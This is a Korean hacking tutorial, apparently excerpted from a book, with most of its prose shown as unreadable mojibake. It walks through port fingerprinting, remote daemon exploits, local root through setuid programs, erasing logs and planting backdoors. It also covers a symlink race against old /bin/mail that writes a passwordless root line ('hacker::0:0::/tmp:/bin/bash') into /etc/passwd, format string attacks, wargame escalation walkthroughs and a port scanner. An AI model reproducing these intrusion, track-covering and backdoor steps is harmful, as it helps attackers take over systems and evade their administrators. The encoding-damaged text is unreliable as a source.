¼Ë´Ù¿îÀÌ µÇ±â Àü±îÁö ¹é±×¶ó¿îµå·Î ÀÛ¾÷µÇ´Â ÇÁ·Î±×·¥ÀÔ´Ï´Ù.
¿©±â¼­ ¹é±×¶ó¿îµå·Î ½ÇÇàµÈ´Ù´Â °ÍÀº ¿ì¸® ´«¿¡ º¸ÀÌÁö ¾Ê´Â
»óÅ·Π½ÇÇàµÈ´Ù´Â °ÍÀ» ÀǹÌÇÕ´Ï´Ù.
ÀÌ·± µ¥¸ó ÇÁ·Î±×·¥Àº Å©°Ô µÎ °¡Áö·Î ³ª´µ¾î Áö´Âµ¥
kerneld³ª crondó·³ Æ÷Æ®¿¡ °ü·ÃµÇÁö ¾Ê°í ½ÇÇàµÇ´Â °Í°ú
ftpd, httpd, namedó·³ ÇØ´ç Æ÷Æ®¸¦ ¿¬ ÈÄ ±×°÷¿¡¼­
ÀÛµ¿ÇÏ´Â ÇÁ·Î±×·¥ÀÔ´Ï´Ù.
ÀÌ µÎ °¡Áö µ¥¸ó Áß ¿ì¸®°¡ ´«¿©°ÜºÁ¾ß ÇÒ °ÍÀº
¿ª½Ã Æ÷Æ®¸¦ ¿¬ ÈÄ ±×°÷¿¡¼­ ÀÛµ¿ÇÏ´Â °ÍÀÔ´Ï´Ù.

Æ÷Æ® ½ºÄ³´× ÈÄ Æ¯Á¤ Æ÷Æ®°¡ ¿­·ÁÀÖ´Ù´Â °ÍÀÌ È®ÀεǸé
±× ´ÙÀ½ ÇØ¾ß ÇÒ ÀÏÀº ÇØ´ç Æ÷Æ®¿¡ ÀÛµ¿ÁßÀÎ ÇÁ·Î±×·¥ÀÌ
¹«¾ùÀ̸ç, ±× ¹öÀüÀº ¾î¶»°Ô µÇ´À³Ä¿¡ ´ëÇØ ¾Ë¾Æ³»´Â °ÍÀÔ´Ï´Ù.

¸¸¾à 21¹ø Æ÷Æ®°¡ ¿­·ÁÀÖ´Â °ÍÀÌ È®ÀεǾú´Ù°í Çغ¾½Ã´Ù.
±×·³ ÀÏ´Ü /etc/services¿¡ Á¤ÀÇµÈ Æ÷Æ® ¸®½ºÆ®¿¡ ÀÇÇØ
±×°÷¿¡ ftp ÇÁ·Î±×·¥ÀÌ ÀÛµ¿ ÁßÀÏ °ÍÀ̶õ °É ¿¹»óÇÒ ¼ö
ÀÖÀ» °ÍÀÔ´Ï´Ù.
ÀÌÁ¦ ½ÇÁ¦ 21¹ø Æ÷Æ®¿¡ ÀÛµ¿ ÁßÀÎ ÇÁ·Î±×·¥À» È®ÀÎÇϱâ À§ÇØ
¿ì¸®´Â ´ÙÀ½°ú °°Àº ÀÛ¾÷À» ÇؾßÇÕ´Ï´Ù.

Áß°£ »ý·«..

(2) ¸®¸ðÆ® ¾îÅÃ

¸®¸ðÆ® ¾îÅÃÀº °èÁ¤À» °¡Áö°í ÀÖÁö ¾ÊÀº ¼­¹öÀÇ ½©À»
¾ò°íÀÚ ÇÏ´Â ½ÃµµÀÔ´Ï´Ù.

ÀÌ°ÍÀº º¸Åë µ¥¸óÀÇ ¹ö±×¸¦ ÀÌ¿ëÇÏ¿© ÀÌ·ç¾îÁý´Ï´Ù.
¾ÕÀÇ Á¤º¸ ¼öÁý °úÁ¤¿¡¼­ °¢ µ¥¸ó¿¡ ½ÇÇàÁßÀÎ ÇÁ·Î±×·¥°ú
¹öÁ¯À» È®ÀÎÇÒ ¼ö ÀÖ°í, ±×°Í¿¡ ¾î¶² ¹ö±×°¡ ÀÖ°í
¾î¶² ½ÄÀ¸·Î ±¸ÇöµÇ¸ç °ø°ÝµÇ´ÂÁö¿¡ ´ëÇÑ Á¤º¸´Â
exploit °ü·Ã »çÀÌÆ®µé¿¡¼­ ã¾Æº¼ ¼ö ÀÖ½À´Ï´Ù.
¸¸¾à ÇØ´ç µ¥¸óÀÌ ·çÆ® ±ÇÇÑÀ¸·Î µ¹¾Æ°¡°í ÀÖ´Ù¸é
´Ü¹ø¿¡ ·çÆ® ȹµæÀÌ °¡´ÉÇÏ¸ç ·ÎÄà ¾îÅà °úÁ¤ÀÌ »ý·«µË´Ï´Ù.

exploitÀ̶õ?

"¼¼»ó¿¡ ¿Ïº®ÇÑ Àΰ£Àº Á¸ÀçÇÒ ¼ö ¾ø´Ù.
¸ðµç ÇÁ·Î±×·¥µéÀº Àΰ£¿¡ ÀÇÇؼ­ ¸¸µé¾îÁø´Ù.
°í·Î ¼¼»ó¿¡ ¿Ïº®ÇÑ ÇÁ·Î±×·¥À̶õ ÀÖÀ» ¼ö ¾ø´Ù."

¾î¶² ÇÁ·Î±×·¥ÀÌ´ø °£¿¡ ¹ö±×´Â Àֱ⠸¶·ÃÀÔ´Ï´Ù.
¹ö±×¶õ ÇÁ·Î±×·¡¸ÓÀÇ ½Ç¼ö·Î ¾ê±âÄ¡ ¸øÇÑ ¿Àµ¿ÀÛÀ»
À¯¹ßÇÏ´Â ÇÁ·Î±×·¥ »óÀÇ ÇãÁ¡À» ¸»ÇÕ´Ï´Ù.

¸¸¾à µ¥¸óÀ¸·Î ÀÛµ¿ÇÏ´Â ÇÁ·Î±×·¥À̳ª rootÀÇ ±ÇÇÑÀ¸·Î
setuid°¡ °É·ÁÀÖ´Â ÇÁ·Î±×·¥¿¡ ¹ö±×°¡ ¹ß°ßµÈ´Ù¸é
ÇØÄ¿µéÀº ±×°ÍÀ» ÀÌ¿ëÇÏ¿© ÇØÅ·À» ½ÃµµÇÕ´Ï´Ù.
º¸Åë ÇØÄ¿µéÀº C¾ð¾î³ª ½© ½ºÅ©¸³Æ®¸¦ ÀÌ¿ëÇÏ¿©
±×°ÍÀ» °ø°ÝÇϸç, ±×·¸°Ô ¿Ï¼ºµÈ ÇϳªÀÇ °ø°Ý ÇÁ·Î±×·¥À»
¿ì¸®´Â exploitÀ̶ó°í ºÎ¸¨´Ï´Ù.

exploit »çÀÌÆ®µé

Áß°£ »ý·«...

(3) ·ÎÄà ¾îÅÃ

¸®¸ðÆ® ¾îÅÿ¡ ¼º°øÇÏ¿© ÇØ´ç ¼­¹öÀÇ ½©À» ȹµæÇÏ¿´´Ù¸é,
ÀÌÁ¦ ÇؾßÇÒ °ÍÀº ·çÆ® ȹµæÀÌ¸ç ±×°ÍÀ»
·ÎÄà ¾îÅÃÀ̶ó ºÎ¸¨´Ï´Ù.
º¸Åë ¼­¹ö ³»ÀÇ À߸øµÈ ¼³Á¤À̳ª root ±ÇÇÑÀ¸·Î setuid°¡
°É·ÁÀÖ´Â ÆÄÀÏÀ» ÀÌ¿ëÇÏ¿© ·çÆ® ±ÇÇÑÀ» ȹµæÇÒ ¼ö ÀÖ½À´Ï´Ù.
ÇöÀç ´ëºÎºÐÀÇ setuid°¡ °É¸° ÇÁ·Î±×·¥ÀÌ Ãë¾àÁ¡À»
°¡Áö°í ÀÖ°í ±×¿¡ ´ëÇÑ exploitµµ °ø°³µÇ¾î ÀÖ½À´Ï´Ù.
µû¶ó¼­ ¸®¸ðÆ® ¾îÅÿ¡¸¸ ¼º°øÇÑ´Ù¸é
·ÎÄà ¾îÅÃÀº ½ÄÀº Á× ¸Ô±âÀÔ´Ï´Ù.

(4) ÈçÀû Áö¿ì±â

·çÆ® ±ÇÇÑÀ» ȹµæÇÏ¿´´Ù¸é ±× ±ÇÇÑÀ» ÀÌ¿ëÇÏ¿© À绡¸®
ÀÚ½ÅÀÇ ÈçÀûÀ» Á¦°ÅÇØ¾ß ÇÕ´Ï´Ù.
ÈçÀûÀ» Áö¿ì´Â ¹æ¹ýÀº Å©°Ô µÎ °¡Áö·Î ³ª´² º¼ ¼ö ÀÖ½À´Ï´Ù.
ù°, ¼­¹ö³»ÀÇ ¸ðµç ÈçÀûÀ» Åë°·Î »èÁ¦ÇÏ´Â ¹æ¹ý.
ÀÌ°ÍÀº °¡Àå ½±°í ºü¸¥ ¹æ¹ýÀ̱ä Çϳª °ü¸®ÀÚ¿¡°Ô
¼­¹ö°¡ ÇØÅ· ´çÇß´Ù´Â »ç½ÇÀ» ¾Ë°Ô ÇØÁÝ´Ï´Ù.
µÑ°, ÀÚ½ÅÀÇ Á¢¼Ó ±â·Ï¸¸ Á¦°ÅÇÏ´Â ¹æ¹ý.
ÀÌ°ÍÀ» ÇÏ·Á¸é ÇÁ·Î±×·¡¹Ö ´É·ÂÀÌ ÇÊ¿äÇÕ´Ï´Ù.
ÇÏÁö¸¸ ÀÎÅͳݿ¡¼­ ½±°Ô ±¸ÇÒ ¼ö ÀÖ´Â Åø µéÀÌ
±× ¼ö°í¸¦ ´ë½ÅÇØÁÙ ¼ö ÀÖ½À´Ï´Ù.

¸¸¾à ÇØÅ· ÈÄ ½Ç¼ö·Î ÈçÀûÀ» Áö¿ìÁö ¾Ê°í ³ª¿Í¹ö¸°´Ù¸é
¿©·¯ºÐÀº ÀüÈ­º§ÀÌ ¿ï¸± ¶§¸¶´Ù ±äÀåÇØ¾ß ÇÒ °ÍÀÔ´Ï´Ù.
(±×µéÀº ¾Æ¸¶ ´ç½Å¿¡°Ô ÀÚÁø ÃâµÎ¸¦ ¿äûÇÒ °ÍÀÔ´Ï´Ù.)

(5) ¹éµµ¾î »ý¼º

ÈçÀûÀ» Áö¿ì°í º¼ÀÏÀ» ´Ù º¸¾Ò´Ù¸é ÀÌÁ¦ ÇØ¾ß ÇÒ °ÍÀº
¹éµµ¾î »ý¼ºÀÔ´Ï´Ù.

¹éµµ¾î¶õ ÇØÅ·¿¡ ¼º°øÇÑ ¼­¹ö¿¡ ½±°Ô ÀçħÀÔÇÒ ¼ö ÀÖµµ·Ï
°íÀÇ·Î ¼û°Ü ³õ´Â Ȧ(hole) ȤÀº ÇÁ·Î±×·¥À» ¸»ÇÕ´Ï´Ù.
¿¹¸¦ µé¾î ¿©·¯ºÐÀº ¼­¹ö¿¡ Á¢¼ÓÇÑ ÈÄ
"give me the root" ¶ó°í ÀÔ·ÂÇÏ´Â °Í¸¸À¸·Î
·çÆ®±ÇÇÑÀ» ¾òÀ» ¼ö ÀÖµµ·Ï ¹éµµ¾î¸¦ ½ÉÀ» ¼ö ÀÖ½À´Ï´Ù.

»ùÇà 7 - Race ConditionÀ» ÀÌ¿ëÇÑ ÇØÅ· ±â¹ý

¸®´ª½º´Â ¸ÖƼ ÇÁ·Î¼¼½º ¿î¿µÃ¼Á¦ÀÔ´Ï´Ù.
Áï ÇϳªÀÇ ¸í·ÉÀÌ ½ÇÇàµÇ°í ÀÖÀ» ¶§ µ¿½Ã¿¡ ¶Ç ´Ù¸¥
¸í·ÉÀÌ ½ÇÇàµÉ ¼ö ÀÖ´Ù´Â ¸»ÀÔ´Ï´Ù.
Race ConditionÀº ÀÌ ¸ÖƼ ÇÁ·Î¼¼½º¶ó´Â
¸®´ª½º(À¯´Ð½º)ÀÇ Æ¯Â¡À» ÀÌ¿ëÇÑ ÇØÅ· ±â¹ýÀ̸ç ÃÖ±Ù¿¡µµ
Á¾Á¾ ¹®Á¦°¡ µÇ°í ÀÖ½À´Ï´Ù.
°£´ÜÇÑ ¿¹·Î °ü¸®ÀÚ°¡ /tmp µð·ºÅ丮¿¡¼­
test.c ¶ó´Â ÆÄÀÏÀ» ÀÛ¼ºÇÑ´Ù°í °¡Á¤ÇØ º¾½Ã´Ù.

±×·±µ¥ ÀÌ ¶§ ¸¶Ä§ mirable À̶ó´Â »ç¿ëÀÚ°¡
/tmp µð·ºÅ丮¿¡¼­ ´ÙÀ½°ú °°Àº ½Éº¼¸¯ ¸µÅ©¸¦
¸¸µç´Ù¸é ¾î¶»°Ô µÉ±î¿ä?

±×·³ °ü¸®ÀÚ°¡ ÀÔ·ÂÇÏ´Â ³»¿ëÀº ½Éº¼¸¯ ¸µÅ©·Î ÀÎÇØ
test.c°¡ ¾Æ´Ñ /etc/passwd ÆÄÀÏ¿¡ ±â·ÏµÉ °ÍÀÔ´Ï´Ù.
µû¶ó¼­ /etc/passwd ÆÄÀÏÀÌ ¼Õ»óµÇ¾î ¹ö¸®´Â °ÍÀÔ´Ï´Ù.

À̹ø¿£ Á¶±Ý Çö½Ç¼º ÀÖ´Â °æ¿ì¸¦ »ý°¢ÇØ º¾½Ã´Ù.
´ÙÀ½ÀÇ ¿¹´Â ½ÇÁ¦ Race Condition ±â¹ýÀ¸·Î ¹®Á¦°¡
µÇ¾ú´ø ÇÁ·Î±×·¥ÀÔ´Ï´Ù.

¾ÆÁÖ ¿À·¡µÈ ¹öÁ¯ÀÇ /bin/mail ÇÁ·Î±×·¥¿¡ ÇØ´çµÇ´Â ¿¹ÀÔ´Ï´Ù.
ÀÌ /bin/mail ÇÁ·Î±×·¥À» »ç¿ëÇÏ¿© ÇÑ »ç¿ëÀÚ¿¡°Ô ¸ÞÀÏÀ» º¸³»¸é
±× ³»¿ëÀÌ /var/spool/mail ¿¡ ÀúÀåµÈ ´Ù´Â °ÍÀ»
Àü¿¡ ¹è¿ü½À´Ï´Ù.
¸¸¾à ÇÑ »ç¿ëÀÚ°¡ mirable À̶ó´Â »ç¿ëÀÚ¿¡°Ô hello ¶ó´Â
³»¿ëÀÇ ¸ÞÀÏÀ» º¸³½´Ù¸é,
±× ³»¿ëÀº /var/spool/mail/mirable À̶ó´Â À̸§ÀÇ ÆÄÀÏ·Î
ÀúÀåÀÌ µÇ´Â °ÍÀÔ´Ï´Ù.

±×·³ mirable¿¡°Ô ÆíÁö¸¦ º¸³»¸é¼­ À绡¸®
/var/spool/mail/mirable ÆÄÀÏÀ» /etc/passwd ·Î
½Éº¼¸¯ ¸µÅ©¸¦ ½ÃÄÑ ¹ö¸°´Ù¸é?
/bin/mail ÇÁ·Î±×·¥Àº setuid°¡ °É·Á ÀÖ´Â ÇÁ·Î±×·¥À̱⠶§¹®¿¡
root ±ÇÇÑÀ¸·Î ÆíÁöÀÇ ³»¿ëÀÌ /etc/passwd ÆÄÀÏ¿¡
±â·ÏµÉ °ÍÀÔ´Ï´Ù.
µû¶ó¼­ ¸¸¾à hacker::0:0::/tmp:/bin/bash ¶ó´Â ³»¿ëÀÌ ´ã±ä
ÆíÁö¸¦ º¸³½´Ù¸é ·çÆ® ±ÇÇÑÀÇ ¾ÏÈ£°¡ ¾øÀÌ
·Î±×ÀÎ °¡´ÉÇÑ hacker ¶ó´Â »ç¿ëÀÚ°¡ Ãß°¡µÉ °ÍÀÔ´Ï´Ù.

»ç½Ç Áö±Ý±îÁö ¼³¸íÇÑ ±â¹ýÀº Race Condition À̶ó±â º¸´Ù´Â
½Éº¼¸¯ ¸µÅ©¸¦ ÀÌ¿ëÇÑ ÇØÅ· ±â¹ýÀ̶ó°í ÇÏ´Â °Ô ´õ Á¤È®ÇÒ °ÍÀÔ´Ï´Ù.
ÁøÂ¥ Race Condition ÇØÅ· ±â¹ýÀº ´ÙÀ½°ú °°Àº »óȲ¿¡¼­
±¸ÇöÇÒ ¼ö ÀÖ½À´Ï´Ù.

¿ª½Ã ½ÇÁ¦·Î ¹®Á¦°¡ µÇ¾ú´ø ±¸ ¹öÁ¯ÀÇ /bin/ps ÇÁ·Î±×·¥Àº
½ÇÇà µµÁß /tmp µð·ºÅ丮¿¡ ps_data ¶ó´Â ÆÄÀÏÀ» »ý¼ºÇÕ´Ï´Ù.
ÇÏÁö¸¸ ÀÌ ÇÁ·Î±×·¥ÀÇ Æ¯Â¡Àº ½Éº¼¸¯ ¸µÅ©¸¦ ÀÌ¿ëÇÑ ÇØÅ·À»
¹æÁöÇϱâ À§ÇØ. ps_data ¶ó´Â ÆÄÀÏÀÌ »ý¼ºµÇ±â Á÷Àü¿¡
ÀÌ ps_data¶ó´Â À̸§ÀÇ ÆÄÀÏÀÌ ÀÌ¹Ì Á¸ÀçÇÏ´Â Áö¸¦ ÆľÇÇÑ´Ù´Â
Á¡ÀÔ´Ï´Ù.
¸¸¾à ±× ÆÄÀÏÀÌ Á¸ÀçÇÑ´Ù¸é ±× ÆÄÀÏÀ» »èÁ¦ÇØ ¹ö¸° ÈÄ »õ·Î¿î
ps_data ÆÄÀÏÀ» »ý¼ºÇÕ´Ï´Ù.
µû¶ó¼­ ½Éº¼¸¯ ¸µÅ©¸¦ ÀÌ¿ëÇÑ ÇØÅ·ÀÌ ÀüÇô
ÅëÇÏÁö ¾Ê°Ô µÇ´Â °ÍÀÔ´Ï´Ù.

ÇÏÁö¸¸ ÀÌ·± ¹æ¾î ¹ý¿¡´Â ´ÙÀ½°ú °°Àº ÇãÁ¡ÀÌ Á¸ÀçÇÕ´Ï´Ù.
Áï, ps_data ÆÄÀÏÀÌ ÀÌ¹Ì Á¸ÀçÇÏ´ÂÁö¸¦ È®ÀÎÇÏ´Â ÀÛ¾÷°ú
±×°ÍÀ» Áö¿ì´Â ÀÛ¾÷ ±×¸®°í »õ ÆÄÀÏÀ» »ý¼ºÇÏ´Â ÀÛ¾÷ »çÀÌ»çÀÌ¿¡
¿ì¸®°¡ Á÷Á¢ ´À³¥ ¼ö´Â ¾øÁö¸¸ ¾ÆÁÖ ÀÛÀº ½Ã°£ °£°ÝÀÌ
³²±â ¸¶·ÃÀ̶ó´Â °ÍÀÔ´Ï´Ù.

ps_data ÆÄÀÏ Á¸Àç ¿©ºÎ È®ÀÎ

(½Ã°£ °£°Ý)

Á¸ÀçÇÑ´Ù¸é ps_data ÆÄÀÏÀ» »èÁ¦

(½Ã°£ °£°Ý)

»õ·Î¿î ps_data ÆÄÀÏ »ý¼º

µû¶ó¼­ µÎ ¹ø° ½Ã°£ °£°ÝÀÎ ps_data ÆÄÀÏÀÌ »èÁ¦µÈ Á÷ÈÄ¿¡
¶Ç ´Ù½Ã ÇØÄ¿°¡ ps_data ÆÄÀÏÀ» »ý¼ºÇϸé,
ps_data ÆÄÀÏÀ» ¹Ì¸® »èÁ¦ÇÏ´Â ÀÛ¾÷Àº ¹«ÀǹÌÇØ Áú °ÍÀÔ´Ï´Ù.

ps_data ÆÄÀÏ Á¸Àç ¿©ºÎ È®ÀÎ

(½Ã°£ °£°Ý)

Á¸ÀçÇÑ´Ù¸é ps_data ÆÄÀÏÀ» »èÁ¦

(½Ã°£ °£°Ý)   <---- ÀÌ ½Ã°£À» ÀÌ¿ëÇÏ¿© ÇØÄ¿ÀÇ ps_data ÆÄÀÏ »ý¼º

»õ·Î¿î ps_data ÆÄÀÏ »ý¼º

±×·³ ¾î¶»°Ô À§ µÎ ¹ø°ÀÇ ½Ã°£ °£°ÝÀÇ Å¸À̹ÖÀ»
¾Ë¾Æ³¾ ¼ö ÀÖÀ»±î¿ä.
ÀÌ°Í¿¡ ´ëÇÑ Æ¯º°ÇÑ ¹æ¹ýÀÌ ÀÖÀ» °Í¸¸ °°Áö¸¸ ±×·¸Áö ¾Ê½À´Ï´Ù.
Áï, ±×³É ¹«½ÄÇÏ°Ô /bin/ps ÇÁ·Î±×·¥À» ¿À·§µ¿¾È ¹Ýº¹ÇÏ¿©
½ÇÇà½ÃÅ°°í, ¶Ç µ¿½Ã¿¡ ÇØÄ¿ÀÇ ps_data ÆÄÀÏÀ» ¹Ýº¹ÇÏ¿©
»ý¼ºÇÏ¸é ¾ðÁ¨°¡´Â À§ÀÇ Å¸Àֿ̹¡ ¸ÅÄ¡ µÇ¾î ÇØÄ¿°¡ ¿øÇÏ´Â
°á°ú¸¦ ¾ò°Ô µÇ´Â °ÍÀÔ´Ï´Ù.

µû¶ó¼­ /bin/ps ÇÁ·Î±×·¥°ú ÇØÄ¿ÀÇ ÇÁ·Î±×·¥ÀÌ
¿À·§µ¿¾È °æÀï(Race) »óÅÂ(Conditon)¿¡ ³õÀÌ°Ô µÇ±â ¶§¹®¿¡
ÀÌ ±â¹ýÀÇ À̸§ÀÌ Race ConditonÀÎ °ÍÀÔ´Ï´Ù.

±×·³ Á÷Á¢ À§ÀÇ ÀÌ·ÐÀ» Àû¿ë½ÃÄÑ º¾½Ã´Ù.

¸ÕÀú ´ÙÀ½°ú °°Àº ¼Ò½º ÆÄÀÏÀ» ¸¸µì´Ï´Ù.

Áß°£ »ý·«..

»ùÇà 8 - Æ÷¸Ë ½ºÆ®¸µ ¾îÅÃ(format string attack) ÇØÅ· ±â¹ý

 

Æ÷¸Ë ½ºÆ®¸µ ¾îÅÃÀº printf() °è¿­ÀÇ ÇÔ¼öÀÇ ¿À¿ë¿¡¼­ ³ªÅ¸³ª´Â ¹®Á¦Á¡À» ÀÌ¿ëÇÑ °ø°ÝÀ¸·Î, °ø°Ý ±â¹ý ÀÚü´Â ¿À·¡ Àü¿¡ ¹ß°ßµÇ¾úÀ¸³ª ÃÖ±Ùµé¾î ¸¹Àº ÁÖ¸ñÀ» ¹Þ´Â °ø°Ý ¹æ¹ýÀÔ´Ï´Ù. ÀÌÁ¦ Æ÷¸Ë ½ºÆ®¸µ ¾îÅÃÀÇ ¿ø¸®¿¡ ´ëÇØ ¼³¸íÇÏ°í ½ÇÁ¦·Î Àû¿ëÇÏ´Â ¹æ¹ýÀ» ¼³¸íÇØ º¸°Ú½À´Ï´Ù.

 

ÇÁ·Î¼¼½º¿Í ½ºÅÃ

 

¾ÕÀÇ Stack overflow °ø°ÝÀ» ¼³¸íÇÒ ¶§¿¡ ½ºÅÃÀÌ ¹«¾ùÀÌ°í,
ÇÁ·Î¼¼½º°¡ ½ÇÇàÇÒ ¶§ ¸Þ¸ð¸®´Â ¾î¶² ±¸Á¶·Î °ü¸®µÇ¸ç,
C ¾ð¾î¿¡¼­ ÇÔ¼ö¸¦ È£ÃâÇÒ ¶§ ½ºÅÃÀ» ¾î¶»°Ô ÀÌ¿ëÇÏ´ÂÁö
¾Ë¾Æº» ¹Ù ÀÖ½À´Ï´Ù. ´ë·«ÀûÀ¸·Î º¹½ÀÇØ º¸¸é ½ºÅÃÀ̶õ
µ¥ÀÌÅ͸¦ ÀúÀåÇÏ´Â ¹æ¹ýÀÇ Çϳª·Î½á,
µ¥ÀÌÅÍ°¡ µé¾î°¡´Â ¼ø¼­¿Í ³ª¿À´Â ¼ø¼­°¡ ¹Ý´ë°¡ µÇ´Â
±¸Á¶¸¦ ¸»ÇÑ´Ù.
±×¸®°í ÇÁ·Î¼¼½º°¡ ½ÇÇà µÉ¶§ Ä¿³ÎÀº ±× ÇÁ·Î¼¼½º¸¦
À§ÇÑ °ø°£À» ÇÒ´çÇÏ¸ç ±×Áß ÀϺΰ¡ ½ºÅÃÀÔ´Ï´Ù.
ÇÁ·Î¼¼½º´Â ½ºÅÿ¡ ÇÔ¼öÀÇ ½ÇÇà¿¡ ÇÊ¿äÇÑ Á¤º¸¿Í ÇÔ¼öÀÇ ÀÎÀÚ,
±×¸®°í Áö¿ª º¯¼öµéÀ» ³Ö´Â´Ù°í Çß´Ù.
ÀÌ °úÁ¤À» Á» ´õ ÀÚ¼¼È÷ ¾Ë¾Æº¾½Ã´Ù.

     // List 1.  "stack.c"

1:   void func( int a, int b, int c )

2:   {

3:       int i;

4:       char str[20];

5:   }

 

6:   int main( int argc, char *argv[] )

7:   {

8:       func( 1, 2, 3 );

9:   }

¿ì¼± ÀÌ ÇÁ·Î±×·¥ÀÌ ½ÇÇàµÇ¸é, °¡Àå ¸ÕÀú 6¹ø ÇàºÎÅÍ ½ÇÇàµË´Ï´Ù. 6 ¹øÇàÀº main() ÇÔ¼ö¸¦ È£ÃâÇϴµ¥ Ä¿³ÎÀº main() ÇÔ¼ö¸¦ È£ÃâÇϱâ Àü¿¡, ÇÔ¼öÀÇ ½ÇÇà¿¡ ÇÊ¿äÇÑ µ¥ÀÌÅÍ¿Í ÇÔ¼öÀÇ ÀÎÀÚ¸¦ ¸ÕÀú ½ºÅÿ¡ push ÇÕ´Ï´Ù. Áï, 6¹ø Çà¿¡¼­ÀÇ Stack Àº ´ÙÀ½°ú °°Àº ±¸Á¶°¡ µË´Ï´Ù.

Áß°£ »ý·«...

»ùÇÃ9 ¸ðÀÇ ÇØÅ· °ÔÀÓ

ÇØÄ¿½ºÄð ·¹º§1 -> ·¹º§2

¸ÕÀú ·¹º§2 ±ÇÇÑ¿¡ setuid°¡ °É¸° ÇÁ·Î±×·¥ÀÌ ÀÖ´ÂÁö ã¾Æº¾´Ï´Ù.

µÚ¿¡ 2>(Ç¥ÁØ ¿¡·¯ ÀǹÌ) /dev/null À» ºÙÀÎ ÀÌÀ¯´Â
Æ۹̼ÇÀÌ Çã¶ôµÇÁö ¾Ê¾Æ¼­ Ãâ·ÂµÇ´Â ¿¡·¯¸Þ½ÃÁö¸¦
¾²·¹±âÅëÀ¸·Î º¸³»±â À§Çؼ­ÀÔ´Ï´Ù.
2> /dev/nullÀ» Á¦°ÅÇÏ°í À§ÀÇ ¸í·ÉÀ» ½ÇÇà½ÃÄÑ º¸¸é
¿Ö ±×°ÍÀÌ ÇÊ¿äÇÑÁö ¾Ë°Ô µÉ °ÍÀÔ´Ï´Ù.

ÀÌÁ¦ /bin/ExcuteMe¶ó´Â ÆÄÀÏÀ» Çѹø ½ÇÇàÇØ º¾½Ã´Ù.

±×·³ ´ÙÀ½°ú °°Àº È­¸éÀÌ ³ªÅ¸³³´Ï´Ù.

À§ÀÇ »óÅ¿¡¼­ ÀԷµǴ ÇϳªÀÇ ¸í·ÉÀº level2ÀÇ ±ÇÇÑÀ¸·Î
½ÇÇàµÈ´Ù°í Çß½À´Ï´Ù.
µû¶ó¼­ my-pass¸¦ ÀÔ·ÂÇϸé level2 ±ÇÇÑÀÇ Æнº¿öµå°¡
Ãâ·ÂµÉ °ÍÀÌ°í, /bin/bash ¸¦ Ä«ÇÇÇÑ ÈÄ level2·Î ±ÇÇÑÀ» ¸ÂÃá µÚ
chmod ¸í·ÉÀ¸·Î setuid¸¦ ÁÖ¸é level2 ±ÇÇÑÀÇ ½©À»
¾ò°Ô µÉ °ÍÀÔ´Ï´Ù. ÇÏÁö¸¸ À§ µÎ°³ÀÇ ¸í·ÉÀº »ç¿ëÇÒ ¼ö
¾øµµ·Ï ¸·¾Æ ³õ¾Ò´Ù´Â °ÍÀ» ¾Ë ¼ö ÀÖ½À´Ï´Ù.
±×·³ µµ´ëü ¾î¶² ¹æ¹ýÀ¸·Î level2ÀÇ ±ÇÇÑÀ» ȹµæÇÒ ¼ö ÀÖÀ»±î¿ä?

¸¸¾à ½©(shell)ÀÌ ¿ì¸®°¡ ÀÔ·ÂÇÑ ¸í·ÉÀ» Çؼ®ÇÏ´Â
ÇϳªÀÇ "ÇÁ·Î±×·¥" À̶ó´Â °ÍÀ» ¾Ë°í ÀÖ´Ù¸é ÀÌ ¹®Á¦´Â
½±°Ô ÇØ°áµÉ °ÍÀÔ´Ï´Ù.
Áï, ½©Àº ¸í·É¾î¸¦ Çؼ®ÇÏ´Â ¿ªÇÒÀ» ÇÏ´Â ÇÁ·Î±×·¥ÀÔ´Ï´Ù.
µû¶ó¼­ level2ÀÇ ±ÇÇÑÀ¸·Î ÀÌ ÇÁ·Î±×·¥À» ½ÇÇàÇÏ°Ô µÇ¸é
level2 ±ÇÇÑÀÇ ¸í·É¾î Çؼ®±â¸¦ ¾ò°Ô µÇ´Â ¼ÀÀÔ´Ï´Ù.
¼º°øÇß´Ù¸é my-pass ¶ó°í ÀÔ·ÂÇÏ¿© level2ÀÇ Æнº¿öµå¸¦
º¼ ¼ö ÀÖ½À´Ï´Ù.

»ùÇÃ10 ¸ðÀÇ ÇØÅ· °ÔÀÓ ÇØÄ¿Áî·¦ ·¹º§2 -> ·¹º§3

< ¹®Á¦ >

< ÇØ°á >

level3 ±ÇÇÑ¿¡ setuid°¡ °É¸° ÆÄÀÏÀ» ã¾Æº¾½Ã´Ù.

/usr/bin/alert À̶õ ÆÄÀÏÀÌ ¹ß°ßµÇ¾ú½À´Ï´Ù. ½ÇÇàÇØ º¾½Ã´Ù.

more ¶ó´Â ÇÁ·Î±×·¥Àº »ç¿ëÀÚ°¡ ÇÑ È­¸é¿¡ º¼ ¼ö ¾ø´Â
±ä ÅؽºÆ® ¹®¼­¸¦ Àß¶ó¼­ º¸¿©ÁÖ´Â ¿ªÇÒÀ» ÇÕ´Ï´Ù.
ÇÏÁö¸¸ ÀÌ ÇÁ·Î±×·¥¿¡ º¸¾È»ó ¹®Á¦Á¡ÀÌ ÀÖ´Ù°í Çϴµ¥...
Ȥ½Ã³ª ÇÏ´Â ¸¶À½À¸·Î more ÇÁ·Î±×·¥ÀÇ ¼³¸í¼­¸¦ Àо½Ã´Ù.

Âß ÀÐ¾î ³»·Á°¡´Ù º¸¸é 4¹ø° ÆäÀÌÁö¿¡¼­
³Ê¹«³Ê¹« °í¸¶¿î ¸í·ÉÀ» º¼ ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù.

±×°ÍÀº ¹Ù·Î more »ç¿ë µµÁß¿¡ ½© ¸í·ÉÀ» ½ÇÇàÇÒ ¼ö ÀÖ´Â
! ¶Ç´Â :! Ä¿¸ÇµåÀÔ´Ï´Ù.

»ùÇÃ11 ¸®´ª½º ÇØÅ· Åø ÃÑÁýÇÕ - Æ÷Æ®½ºÄ³³Ê

ASCAN

nmap °ú´Â ´Þ¸® Æ÷Æ®½ºÄµÀÇ ÃÖ¼Ò ±â´É¸¸ °¡Áö°í ÀÖ´Â
°£´ÜÇÏ¸ç ±×¸¸Å­ »ç¿ëÇϱ⠽¬¿î ½ºÄ³³ÊÀÔ´Ï´Ù.

ASCANÀÇ ¼³Ä¡

ascanÀº º¸Åë ascan.tar.gz°ú °°Àº ¾ÐÃà ÆÄÀÏ ÇüÅ·Î
¹èÆ÷µË´Ï´Ù. ¾ÐÃàÀ» ÇØÁ¦½ÃÅ°´Â ¸í·ÉÀº ´ÙÀ½°ú °°½À´Ï´Ù.

*.gz : gzip -d filename

*.tar : tar xvf filename

-x : extractÀÇ ¾àÀÚ·Î ÇØÁ¦¶ó´Â ÀǹÌÀÔ´Ï´Ù.
